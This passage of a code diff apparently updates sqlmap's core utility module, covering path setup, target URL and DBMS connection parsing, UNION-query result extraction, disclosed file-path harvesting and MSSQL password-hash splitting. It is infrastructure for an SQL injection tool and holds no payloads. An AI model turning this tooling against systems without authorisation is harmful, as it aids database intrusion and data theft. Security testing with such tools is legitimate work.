"".join(random.choice(string.lowercase) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length)) else: - retVal = "".join(random.choice(string.letters) for _ in xrange(0, length)) + retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length)) return retVal def sanitizeStr(value): """ Sanitizes string value in respect to newline and line-feed characters + + >>> sanitizeStr('foo\\n\\rbar') == 'foo bar' + True + >>> sanitizeStr(None) == 'None' + True """ return getUnicode(value).replace("\n", " ").replace("\r", "") -def checkFile(filename): +def getHeader(headers, key): """ - Checks for file existence + Returns header value ignoring the letter case + + >>> getHeader({"Foo": "bar"}, "foo") + 'bar' """ - if not os.path.exists(filename): - raise sqlmapFilePathException, "unable to read file '%s'" % filename + retVal = None -def banner(): + for header in (headers or {}): + if header.upper() == key.upper(): + retVal = headers[header] + break + + return retVal + +def checkPipedInput(): """ - This function prints sqlmap banner with its version + Checks whether input to program has been provided via standard input (e.g. cat /tmp/req.txt | python sqlmap.py -r -) + # Reference: https://stackoverflow.com/a/33873570 """ - _ = """\n %s - %s\n %s\n\n""" % (VERSION_STRING, DESCRIPTION, SITE) - dataToStdout(_, forceOutput=True) - -def parsePasswordHash(password): - blank = " " * 8 + return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) - if not password or password == " ": - password = NULL +def isZipFile(filename): + """ + Checks if file contains zip compressed content - if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password): - hexPassword = password - password = "%s\n" % hexPassword - password += "%sheader: %s\n" % (blank, hexPassword[:6]) - password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) - password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) + >>> isZipFile(paths.WORDLIST) + True + """ - if not Backend.isVersionWithin(("2005", "2008")): - password += "%suppercase: %s" % (blank, hexPassword[54:]) + checkFile(filename) - return password + with openFile(filename, "rb", encoding=None) as f: + header = f.read(len(ZIP_HEADER)) -def cleanQuery(query): - retVal = query + return header == ZIP_HEADER - for sqlStatements in SQL_STATEMENTS.values(): - for sqlStatement in sqlStatements: - sqlStatementEsc = sqlStatement.replace("(", "\\(") - queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I) +def isDigit(value): + """ + Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic) - if queryMatch and "sys_exec" not in query: - retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper()) + >>> u'\xb2'.isdigit() + True + >>> isDigit(u'\xb2') + False + >>> isDigit('123456') + True + >>> isDigit('3b3') + False + """ - return retVal + return re.search(r"\A[0-9]+\Z", value or "") is not None -def setPaths(): +def checkFile(filename, raiseOnError=True): """ - Sets absolute paths for project directories and files + Checks for file existence and readability + + >>> checkFile(__file__) + True """ - # sqlmap paths - paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") - paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs") - paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") + valid = True + + if filename: + filename = filename.strip('"\'') + + if filename == STDIN_PIPE_DASH: + return checkPipedInput() + else: + try: + if filename is None or not os.path.isfile(filename): + valid = False + except: + valid = False + + if valid: + try: + with open(filename, "rb"): + pass + except: + valid = False + + if not valid and raiseOnError: + raise SqlmapSystemException("unable to read file '%s'" % filename) + + return valid + +def banner(): + """ + This function prints sqlmap banner with its version + """ + + if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): + result = BANNER + + if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")): + result = clearColors(result) + elif IS_WIN: + coloramainit() + + dataToStdout(result, forceOutput=True) + +def parseJson(content): + """ + This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content + + >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1 + True + >>> parseJson('{"id":1}')["id"] == 1 + True + """ + + quote = None + retVal = None + + for regex in (r"'[^']+'\s*:", r'"[^"]+"\s*:'): + match = re.search(regex, content) + if match: + quote = match.group(0)[0] + + try: + if quote == '"': + retVal = json.loads(content) + elif quote == "'": + def _(match): + return '"%s"' % match.group(1).replace('"', '\\"') + + content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content) + retVal = json.loads(content) + except: + pass + + return retVal + +def parsePasswordHash(password): + """ + In case of Microsoft SQL Server password hash value is expanded to its components + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + True + >>> kb.forcedDbms = popValue() + """ + + blank = ' ' * 8 + + if isNoneValue(password) or password == ' ': + retVal = NULL + else: + retVal = password + + if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password): + retVal = "%s\n" % password + retVal += "%sheader: %s\n" % (blank, password[:6]) + retVal += "%ssalt: %s\n" % (blank, password[6:14]) + retVal += "%smixedcase: %s\n" % (blank, password[14:54]) + + if password[54:]: + retVal += "%suppercase: %s" % (blank, password[54:]) + + return retVal + +def cleanQuery(query): + """ + Switch all SQL statement (alike) keywords to upper case + + >>> cleanQuery("select id from users") + 'SELECT id FROM users' + """ + + retVal = query + queryLower = query.lower() + + for sqlStatements in SQL_STATEMENTS.values(): + for sqlStatement in sqlStatements: + candidate = sqlStatement.replace("(", "").replace(")", "").strip() + + # OPTIMIZATION: Skip expensive regex compilation/search if the keyword + # isn't even present in the string. This makes the function O(K) instead of O(N*K) + # for the expensive regex part (where K is num keywords). + if not candidate or candidate.lower() not in queryLower: + continue + + queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) + + if queryMatch and "sys_exec" not in query: + retVal = retVal.replace(queryMatch.group(1), candidate.upper()) + + return retVal + +def cleanReplaceUnicode(value): + """ + Cleans unicode for proper encode/decode + + >>> cleanReplaceUnicode(['a', 'b']) + ['a', 'b'] + """ + + def clean(value): + return value.encode(UNICODE_ENCODING, errors="replace").decode(UNICODE_ENCODING) if isinstance(value, six.text_type) else value + + return applyFunctionRecursively(value, clean) + +def setPaths(rootPath): + """ + Sets absolute paths for project directories and files + """ + + paths.SQLMAP_ROOT_PATH = rootPath + + # sqlmap paths + paths.SQLMAP_DATA_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "data") + paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") + paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") - paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") - paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") - paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") + + paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs") + paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell") + paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "txt") + paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "udf") + paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output") - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - paths.SQLMAP_SEXEC_PATH = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") + paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files - paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history") - paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") + paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') + paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") - paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.txt") - paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml") + paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") - paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") - paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") - paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") + paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") @@ -914,18 +1549,67 @@ def setPaths(): paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") + for path in paths.values(): + if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")): + checkFile(path) + + if IS_WIN: + # Reference: https://pureinfotech.com/list-environment-variables-windows-10/ + if os.getenv("LOCALAPPDATA"): + paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap") + elif os.getenv("USERPROFILE"): + paths.SQLMAP_HOME_PATH = os.path.expandvars("%USERPROFILE%\\Local Settings\\sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), "sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") + + if not os.path.isdir(paths.SQLMAP_HOME_PATH): + if "XDG_DATA_HOME" in os.environ: + paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap") + else: + paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap") + + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") + paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") + + # History files + paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst") + paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst") + paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst") + paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst") + paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst") + def weAreFrozen(): """ Returns whether we are frozen via py2exe. This will affect how we find out where we are located. - Reference: http://www.py2exe.org/index.cgi/WhereAmI + + # Reference: http://www.py2exe.org/index.cgi/WhereAmI """ return hasattr(sys, "frozen") def parseTargetDirect(): """ - Parse target dbms and set some attributes into the configuration singleton. + Parse target dbms and set some attributes into the configuration singleton + + >>> pushValue(conf.direct) + >>> conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + >>> parseTargetDirect() + >>> conf.dbmsDb + 'testdb' + >>> conf.dbmsPass + 'testpass' + >>> conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + >>> parseTargetDirect() + >>> conf.dbmsPass + 'P@ssw0rd' + >>> conf.hostname + '127.0.0.1' + >>> conf.direct = popValue() """ if not conf.direct: @@ -935,153 +1619,225 @@ def parseTargetDirect(): remote = False for dbms in SUPPORTED_DBMS: - details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P.+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) + details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I) if details: - conf.dbms = details.group('dbms') + conf.dbms = details.group("dbms") - if details.group('credentials'): - conf.dbmsUser = details.group('user') - conf.dbmsPass = details.group('pass') + if details.group("credentials"): + conf.dbmsUser = details.group("user").strip("'\"") + conf.dbmsPass = details.group("pass").strip("'\"") else: - conf.dbmsUser = unicode() - conf.dbmsPass = unicode() + if conf.dbmsCred: + conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') + else: + conf.dbmsUser = "" + conf.dbmsPass = "" if not conf.dbmsPass: conf.dbmsPass = None - if details.group('remote'): + if details.group("remote"): remote = True - conf.hostname = details.group('hostname') - conf.port = int(details.group('port')) + conf.hostname = details.group("hostname").strip() + conf.port = int(details.group("port")) else: conf.hostname = "localhost" conf.port = 0 - conf.dbmsDb = details.group('db') - + conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None conf.parameters[None] = "direct connection" break + if kb.smokeMode: + return + if not details: errMsg = "invalid target details, valid syntax is for instance " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) for dbmsName, data in DBMS_DICT.items(): - if conf.dbms in data[0]: + if dbmsName == conf.dbms or conf.dbms.lower() in data[0]: try: + conf.dbms = dbmsName + if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName - logger.warn(warnMsg) + logger.warning(warnMsg) conf.hostname = "localhost" conf.port = 0 elif not remote: - errMsg = "missing remote connection details" - raise sqlmapSyntaxException, errMsg + errMsg = "missing remote connection details (e.g. " + errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " + errMsg += "or 'access://DATABASE_FILEPATH')" + raise SqlmapSyntaxException(errMsg) if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): - import _mssql - import pymssql + __import__("_mssql") + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": errMsg = "'%s' third-party library must be " % data[1] errMsg += "version >= 1.0.2 to work properly. " errMsg += "Download from '%s'" % data[2] - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence(errMsg) elif dbmsName == DBMS.MYSQL: - import pymysql + __import__("pymysql") elif dbmsName == DBMS.PGSQL: - import psycopg2 + __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - import cx_Oracle + __import__("oracledb") elif dbmsName == DBMS.SQLITE: - import sqlite3 + __import__("sqlite3") elif dbmsName == DBMS.ACCESS: - import pyodbc + __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - import kinterbasdb - except ImportError: - errMsg = "sqlmap requires '%s' third-party library " % data[1] - errMsg += "in order to directly connect to the database " - errMsg += "%s. Download from '%s'" % (dbmsName, data[2]) - raise sqlmapMissingDependence, errMsg + __import__("kinterbasdb") + except (SqlmapSyntaxException, SqlmapMissingDependence): + raise + except: + if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])): + pass + else: + errMsg = "sqlmap requires '%s' third-party library " % data[1] + errMsg += "in order to directly connect to the DBMS " + errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2]) + errMsg += ". Alternative is to use a package 'python-sqlalchemy' " + errMsg += "with support for dialect '%s' installed" % data[3] + raise SqlmapMissingDependence(errMsg) def parseTargetUrl(): """ - Parse target url and set some attributes into the configuration singleton. + Parse target URL and set some attributes into the configuration singleton + + >>> pushValue(conf.url) + >>> conf.url = "https://www.test.com/?id=1" + >>> parseTargetUrl() + >>> conf.hostname + 'www.test.com' + >>> conf.scheme + 'https' + >>> conf.url = popValue() """ if not conf.url: return - if re.search("\[.+\]", conf.url) and not socket.has_ipv6: - errMsg = "IPv6 addressing is not supported " + originalUrl = conf.url + + if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6: + errMsg = "IPv6 communication is not supported " errMsg += "on this platform" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException(errMsg) - if not re.search("^http[s]*://", conf.url, re.I): - if ":443/" in conf.url: - conf.url = "https://" + conf.url + if not re.search(r"^(http|ws)s?://", conf.url, re.I): + if re.search(r":443\b", conf.url): + conf.url = "https://%s" % conf.url else: - conf.url = "http://" + conf.url + conf.url = "http://%s" % conf.url - if CUSTOM_INJECTION_MARK_CHAR in conf.url: + if kb.customInjectionMark in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) - urlSplit = urlparse.urlsplit(conf.url) - hostnamePort = urlSplit[1].split(":") if not re.search("\[.+\]", urlSplit[1]) else filter(None, (re.search("\[.+\]", urlSplit[1]).group(0), re.search("\](:(?P\d+))?", urlSplit[1]).group("port"))) + try: + urlSplit = _urllib.parse.urlsplit(conf.url) + except ValueError as ex: + errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) + errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + errMsg += "in the hostname part" + raise SqlmapGenericException(errMsg) + + hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) - conf.scheme = urlSplit[0].strip().lower() if not conf.forceSSL else "https" - conf.path = urlSplit[2].strip() + conf.scheme = (urlSplit.scheme.strip().lower() or "http") + conf.path = urlSplit.path.strip() conf.hostname = hostnamePort[0].strip() + if conf.forceSSL: + conf.scheme = re.sub(r"(?i)\A(http|ws)\Z", r"\g<1>s", conf.scheme) + conf.ipv6 = conf.hostname != conf.hostname.strip("[]") - conf.hostname = conf.hostname.strip("[]") + conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") try: - _ = conf.hostname.encode("idna") - except UnicodeError: - _ = None + conf.hostname.encode("idna") + conf.hostname.encode(UNICODE_ENCODING) + except (LookupError, UnicodeError): + invalid = True + else: + invalid = False - if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))): - errMsg = "invalid target url" - raise sqlmapSyntaxException, errMsg + if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): + errMsg = "invalid target URL ('%s')" % originalUrl + raise SqlmapSyntaxException(errMsg) if len(hostnamePort) == 2: try: conf.port = int(hostnamePort[1]) except: - errMsg = "invalid target url" - raise sqlmapSyntaxException, errMsg - elif conf.scheme == "https": + errMsg = "invalid target URL" + raise SqlmapSyntaxException(errMsg) + elif conf.scheme in ("https", "wss"): conf.port = 443 else: conf.port = 80 - if urlSplit[3]: - conf.parameters[PLACE.GET] = urldecode(urlSplit[3]) if urlSplit[3] and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit[3] else urlSplit[3] + if conf.port < 1 or conf.port > 65535: + errMsg = "invalid target URL port (%d)" % conf.port + raise SqlmapSyntaxException(errMsg) - conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) + conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') - if not conf.referer and intersect(REFERER_ALIASES, conf.testParameter, True): - debugMsg = "setting the HTTP Referer header to the target url" + if urlSplit.query: + if '=' not in urlSplit.query: + conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query)) + else: + conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query + + if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders): + debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) - conf.httpHeaders = filter(lambda (key, value): key != HTTPHEADER.REFERER, conf.httpHeaders) - conf.httpHeaders.append((HTTPHEADER.REFERER, conf.url)) + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] + conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) - if not conf.host and intersect(HOST_ALIASES, conf.testParameter, True): - debugMsg = "setting the HTTP Host header to the target url" + if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders): + debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) - conf.httpHeaders = filter(lambda (key, value): key != HTTPHEADER.HOST, conf.httpHeaders) - conf.httpHeaders.append((HTTPHEADER.HOST, getHostHeader(conf.url))) + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] + conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url))) + + if conf.url != originalUrl: + kb.originalUrls[conf.url] = originalUrl + +def escapeJsonValue(value): + """ + Escapes JSON value (used in payloads) + + # Reference: https://stackoverflow.com/a/16652683 + + >>> "\\n" in escapeJsonValue("foo\\nbar") + False + >>> "\\\\t" in escapeJsonValue("foo\\tbar") + True + """ + + retVal = "" + + for char in value: + if char < ' ' or char == '"': + retVal += json.dumps(char)[1:-1] + else: + retVal += char + + return retVal def expandAsteriskForColumns(expression): """ @@ -1090,74 +1846,93 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) - if asterisk: + if match: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) - dbTbl = asterisk.group(1) + _ = match.group(2).replace("..", '.').replace(".dbo.", '.') + db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _) - if dbTbl and ".." in dbTbl: - dbTbl = dbTbl.replace('..', '.dbo.') - - if dbTbl and "." in dbTbl: - conf.db, conf.tbl = dbTbl.split(".", 1) + if db is None: + if expression != conf.sqlQuery: + conf.db = db + elif conf.db: + expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: - conf.tbl = dbTbl + conf.db = db + + conf.db = safeSQLIdentificatorNaming(conf.db) + conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: - columns = columnsDict[conf.db][conf.tbl].keys() + columns = list(columnsDict[conf.db][conf.tbl].keys()) columns.sort() columnsStr = ", ".join(column for column in columns) - expression = expression.replace("*", columnsStr, 1) + expression = expression.replace('*', columnsStr, 1) - infoMsg = "the query with column names is: " + infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression logger.info(infoMsg) return expression -def getLimitRange(count, dump=False, plusOne=False): +def getLimitRange(count, plusOne=False): """ Returns range of values used in limit/offset constructs + + >>> [_ for _ in getLimitRange(10)] + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] """ retVal = None count = int(count) limitStart, limitStop = 1, count + reverse = False - if dump: - if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: - limitStop = conf.limitStop + if kb.dumpTable: + if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop: + limitStop = conf.limitStart + limitStart = conf.limitStop + reverse = True + else: + if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: + limitStop = conf.limitStop - if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: - limitStart = conf.limitStart + if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: + limitStart = conf.limitStart retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop) + if reverse: + retVal = xrange(retVal[-1], retVal[0] - 1, -1) + return retVal def parseUnionPage(page): """ - Returns resulting items from inband query inside provided page content + Returns resulting items from UNION query inside provided page content + + >>> parseUnionPage("%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop)) + ['foo', 'bar'] """ if page is None: return None - if page.startswith(kb.chars.start) and page.endswith(kb.chars.stop): + if re.search(r"(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" - logger.warn(warnMsg) + logger.warning(warnMsg) data = BigArray() - _ = [] + keys = set() - for match in re.finditer("%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): + for match in re.finditer(r"%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): entry = match.group(1) if kb.chars.start in entry: @@ -1165,17 +1940,15 @@ def parseUnionPage(page): if kb.unionDuplicates: key = entry.lower() - if key not in _: - _.append(key) - if len(_) > UNION_UNIQUE_FIFO_LENGTH: - _.pop(0) + if key not in keys: + keys.add(key) else: continue entry = entry.split(kb.chars.delimiter) if conf.hexConvert: - entry = applyFunctionRecursively(entry, decodeHexValue) + entry = applyFunctionRecursively(entry, decodeDbmsHexValue) if kb.safeCharEncode: entry = applyFunctionRecursively(entry, safecharencode) @@ -1184,7 +1957,7 @@ def parseUnionPage(page): else: data = page - if len(data) == 1 and isinstance(data[0], basestring): + if len(data) == 1 and isinstance(data[0], six.string_types): data = data[0] return data @@ -1192,10 +1965,13 @@ def parseUnionPage(page): def parseFilePaths(page): """ Detects (possible) absolute system paths inside the provided page content + + >>> _ = "/var/www/html/index.php"; parseFilePaths("Error occurred at line 207 of: %s
Please contact your administrator" % _); _ in kb.absFilePaths + True """ if page: - for regex in (r" in (?P.*?) on line", r"(?:>|\s)(?P[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P/\w[/\w.]+)"): + for regex in FILE_PATH_REGEXES: for match in re.finditer(regex, page): absFilePath = match.group("result").strip() page = page.replace(absFilePath, "") @@ -1207,6 +1983,10 @@ def parseFilePaths(page): kb.absFilePaths.add(absFilePath) def getLocalIP(): + """ + Get local IP address (exposed to the remote/target) + """ + retVal = None try: @@ -1222,160 +2002,278 @@ def getLocalIP(): return retVal def getRemoteIP(): - return socket.gethostbyname(conf.hostname) + """ + Get remote/target IP address + + >>> pushValue(conf.hostname) + >>> conf.hostname = "localhost" + >>> getRemoteIP() == "127.0.0.1" + True + >>> conf.hostname = popValue() + """ + + retVal = None + + try: + retVal = socket.gethostbyname(conf.hostname) + except socket.gaierror: + errMsg = "address resolution problem " + errMsg += "occurred for hostname '%s'" % conf.hostname + singleTimeLogMessage(errMsg, logging.ERROR) + + return retVal def getFileType(filePath): + """ + Returns "magic" file type for given file path + + >>> getFileType(__file__) + 'text' + >>> getFileType(sys.executable) + 'binary' + """ + try: - _ = magic.from_file(filePath) + desc = magic.from_file(filePath) or magic.MAGIC_UNKNOWN_FILETYPE except: - return "unknown" + desc = magic.MAGIC_UNKNOWN_FILETYPE + finally: + desc = getText(desc) + + if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): + content = openFile(filePath, "rb", encoding=None).read() + + try: + content.decode() + except: + pass + else: + desc = "ascii" - return "text" if "ASCII" in _ or "text" in _ else "binary" + return "text" if any(_ in desc.lower() for _ in ("ascii", "text")) else "binary" def getCharset(charsetType=None): + """ + Returns list with 